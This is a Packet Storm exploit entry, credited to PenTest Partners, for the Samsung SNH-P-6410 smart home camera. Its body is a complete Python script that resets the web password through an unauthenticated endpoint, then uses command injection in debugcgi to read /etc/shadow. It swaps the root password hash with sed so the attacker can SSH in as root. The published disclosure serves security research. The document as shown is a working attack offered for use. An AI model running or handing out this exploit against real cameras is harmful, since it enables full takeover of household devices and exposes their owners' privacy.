Samsung Smart Home Camera SNH-P-6410 Command Injection

2016-08-14T00:00:00
ID PACKETSTORM:138334
Type packetstorm
Reporter PenTest Partners
Modified 2016-08-14T00:00:00

Description

                                        
                                            `import urllib, urllib2, crypt, time  
  
# New password for web interface  
web_password = 'admin'  
# New password for root  
root_password = 'root'  
# IP of the camera  
ip = '192.168.12.61'  
  
# These are all for the Smartthings bundled camera  
realm = 'iPolis'  
web_username = 'admin'  
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'  
  
  
# Take a command and use command injection to run it on the device  
def run_command(command):  
# Convert a normal command into one using bash brace expansion  
# Can't send spaces to debugcgi as it doesn't unescape  
command_brace = '{' + ','.join(command.split(' ')) + '}'  
command_url = base_url + command_brace  
  
# HTTP digest auth for urllib2  
authhandler = urllib2.HTTPDigestAuthHandler()  
authhandler.add_password(realm, command_url, web_username, web_password)  
opener = urllib2.build_opener(authhandler)  
urllib2.install_opener(opener)  
  
return urllib2.urlopen(command_url)  
  
# Step 1 - change the web password using the unauthed vuln found by zenofex  
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })  
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)  
  
# Need to sleep or the password isn't changed  
time.sleep(1)  
  
# Step 2 - find the current root password hash  
shadow = run_command('cat /etc/shadow')  
  
for line in shadow:  
if line.startswith('root:'):  
current_hash = line.split(':')[1]  
  
# Crypt the new password  
new_hash = crypt.crypt(root_password, '00')  
  
# Step 3 - Use sed to search and replace the old for new hash in the passwd  
# This is done because the command injection doesn't allow a lot of different URL encoded chars  
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')  
  
# Step 4 - check that the password has changed  
shadow = run_command('cat /etc/shadow')  
  
for line in shadow:  
if line.startswith('root:'):  
current_hash = line.split(':')[1]  
  
if current_hash <> new_hash:  
print 'Error! - password not changed'  
  
# Step 5 - ssh to port 1022 with new root password!  
  
`